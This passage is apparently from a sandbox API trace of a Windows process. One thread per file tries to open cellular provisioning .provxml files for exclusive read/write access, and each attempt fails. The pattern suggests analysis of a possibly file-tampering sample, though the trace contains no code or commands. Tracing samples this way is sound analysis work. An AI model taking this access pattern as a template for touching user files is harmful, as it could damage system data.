Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.284] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f025a8) returned 1 [0183.284] RtlExitUserThread (Status=0x0) Thread: id = 3350 os_tid = 0x13e8 [0183.285] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\79__connections_cellular_tele2 (croatia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.286] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.286] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\79__connections_cellular_tele2 (croatia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.286] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.286] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02088) returned 1 [0183.286] RtlExitUserThread (Status=0x0) Thread: id = 3351 os_tid = 0x13ec [0183.288] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\7__connections_cellular_hutchison - 3 (australia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.288] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.288] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\7__connections_cellular_hutchison - 3 (australia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.288] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.288] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe19a0) returned 1 [0183.288] RtlExitUserThread (Status=0x0) Thread: id = 3352 os_tid = 0x13f0 [0183.289] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\80__connections_cellular_hrvatski telekom (croatia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.289] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.290] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\80__connections_cellular_hrvatski telekom (croatia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.290] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.290] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056360) returned 1 [0183.290] RtlExitUserThread (Status=0x0) Thread: id = 3353 os_tid = 0x13f4 [0183.291] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\81__connections_cellular_vipnet (croatia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.291] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.291] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\81__connections_cellular_vipnet (croatia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.291] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.291] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02ac8) returned 1 [0183.291] RtlExitUserThread (Status=0x0) Thread: id = 3354 os_tid = 0x13f8 [0183.292] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\82__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0183.293] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0183.293] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\82__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.293] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0183.293] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054f80) returned 1 [0183.293] RtlExitUserThread (Status=0x0) Thread: id = 3355 os_tid = 0x13fc [0183.294] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\83__connections_cellular_areeba ltd (cyprus)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.294] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.294] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\83__connections_cellular_areeba ltd (cyprus)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.294] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.295] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe12e8) returned 1 [0183.295] RtlExitUserThread (Status=0x0) Thread: id = 3356 os_tid = 0xd84 [0183.296] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\84__connections_cellular_cytamobile-vodafone (cyprus)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.296] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.296] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\84__connections_cellular_cytamobile-vodafone (cyprus)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.296] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.296] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30564c8) returned 1 [0183.296] RtlExitUserThread (Status=0x0) Thread: id = 3357 os_tid = 0xd80 [0183.298] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\85__connections_cellular_cytamobile-vodafone (cyprus)_i1$(__mvid)@wap.provxml")) returned 0x20 [0183.298] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.298] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\85__connections_cellular_cytamobile-vodafone (cyprus)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.298] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.298] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056900) returned 1 [0183.298] RtlExitUserThread (Status=0x0) Thread: id = 3358 os_tid = 0xdf0 [0183.299] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\86__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0183.300] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0183.300] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\86__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.300] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0183.300] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054830) returned 1 [0183.300] RtlExitUserThread (Status=0x0) Thread: id = 3359 os_tid = 0xddc [0183.301] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\87__connections_cellular_o2 (czech republic)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.301] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.301] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\87__connections_cellular_o2 (czech republic)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.302] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.302] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1440) returned 1 [0183.302] RtlExitUserThread (Status=0x0) Thread: id = 3360 os_tid = 0xde4 [0183.303] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\88__connections_cellular_t-mobile czech republic (czech republic)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.303] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.303] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\88__connections_cellular_t-mobile czech republic (czech republic)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.303] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.303] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafb8) returned 1 [0183.303] RtlExitUserThread (Status=0x0) Thread: id = 3361 os_tid = 0xde8 [0183.308] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\89__connections_cellular_vodafone cz (czech republic)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.308] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.308] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\89__connections_cellular_vodafone cz (czech republic)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.308] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.308] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057008) returned 1 [0183.308] RtlExitUserThread (Status=0x0) Thread: id = 3362 os_tid = 0x45c [0183.310] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\8__connections_cellular_hutchison - 3 (australia)_i1$(__mvid)@wap.provxml")) returned 0x20 [0183.310] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.310] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\8__connections_cellular_hutchison - 3 (australia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.311] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.311] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1598) returned 1 [0183.311] RtlExitUserThread (Status=0x0) Thread: id = 3363 os_tid = 0x9e0 [0183.312] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\90__connections_cellular_3 (denmark)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.312] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.312] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\90__connections_cellular_3 (denmark)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.312] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.312] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96a28) returned 1 [0183.312] RtlExitUserThread (Status=0x0) Thread: id = 3364 os_tid = 0x994 [0183.316] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\91__Connections_Cellular_3 (Denmark)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\91__connections_cellular_3 (denmark)_i1$(__mvid)@wap.provxml")) returned 0x20 [0183.316] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\91__Connections_Cellular_3 (Denmark)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.316] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\91__Connections_Cellular_3 (Denmark)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\91__connections_cellular_3 (denmark)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.317] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\91__Connections_Cellular_3 (Denmark)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.317] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96b68) returned 1 [0183.317] RtlExitUserThread (Status=0x0) Thread: id = 3365 os_tid = 0xdd8 [0183.318] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all 